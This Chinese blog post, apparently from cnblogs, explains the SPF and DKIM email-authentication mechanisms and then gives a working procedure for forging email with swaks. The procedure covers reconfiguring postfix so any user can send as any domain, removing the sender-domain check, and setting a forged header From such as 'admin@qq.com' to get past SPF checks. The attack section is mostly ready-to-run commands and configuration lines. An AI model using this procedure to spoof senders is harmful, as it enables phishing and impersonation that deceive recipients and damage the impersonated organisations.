Swaks伪造邮件
一、邮件伪造防御介绍
0x1、SPF介绍
SPF记录是阻止垃圾邮件发件人发送假冒您的域中的“发件人”地址的电子邮件。收件人可以参考 SPF 记录来确定号称来自您的域的邮件是否来自授权邮件服务器。对于大多主流的邮件服务商,鉴别发送者的SPF记录有助于抵御垃圾邮件给接收者带来的骚扰。
SMTP协议本身没有办法鉴别寄件人的真正身份,在没有SPF得情况下,是可以伪造任何用户,SPF 记录允许域名管理员公布所授权的邮件服务器IP地址,接收服务器会在收到邮件时验证发件人在 SMTP 会话中执行 MAIL FROM 命令时的邮件地址是否与域名 SPF 记录中所指定的源 IP 匹配。
以判断是否为发件人域名伪造,邮件接收方的收件服务器在接受到邮件后,首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里,如果不在就会发送识别或者进入垃圾邮箱,SPF是TXT记录,当用户收到邮件之后,会根据邮件的from值,向DNS请求发件人所用的域名,得到TXT记录中的域名或者IP跟邮件头的IP来源作比较,符合进收件箱,不符合过滤或者进垃圾箱。
0x2、DKIM介绍
DKIM 是邮件认证机制,使用公开密钥加密的基础提供了数字签名与身份验证的功能,以检测寄件者、主旨、内文、附件等部分有否被伪冒或窜改。一般来说,发送方会在电子邮件的标头插入DKIM-Signature及电子签名信息。而接收方则透过DNS查询得到公开密钥后进行验证
二、利用过程
0x1.搭建邮件服务器
首先需要自己搭建邮件服务器采用的是EwoMail搭建参考链接:
http://doc.ewomail.com/docs/ewomail/install
0x2邮件伪造发送
swaks --to 收件人 --from 发送人 --body 内容 --server 邮件服务器地址 -p 2525 -au 用户名 -ap 密码
发送伪造邮件会出现Sender address rejected: not owned by
这样的报错导致未成功发送,原因是postfix设置的问题。需要进行一下修改vim /etc/postfix/main.cf
找到smtpd_sender_login_maps修改为如下:smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre
找到smtpd_recipient_restrictions删除reject_unknown_sender_domain这样就不会对发送domain进行验证
新增文件/etc/postfix/login_maps.pcre
/^(.*)$/ test1@domain.com(允许用户test1@domain.com使用任意domain)
执行命令使修改内容生效
postmap /etc/postfix/login_maps.pcre
postfix reload
0x3.SPF校验及绕过
会验证smtp.from发送人邮件服务器是否和邮件服务器地址IP相等,如果不同SPF则会验证失败。
邮件显示的是Header当中的From不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From
swaks --to 123456@qq.com --from 正常地址 --h-From: '管理员<admin@qq.com>' --ehlo qq.com --body hello --server 邮件服务器 -p 25 -au <USER> -ap <PASSS>
不过这样的方法经过测试,会存在一个问题,会显示由xxxx代发,而这个则就是我们真实发送的邮箱。
本文来自博客园,作者:aoaoaoao,转载请注明原文链接:https://www.cnblogs.com/websecyw/p/11127724.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构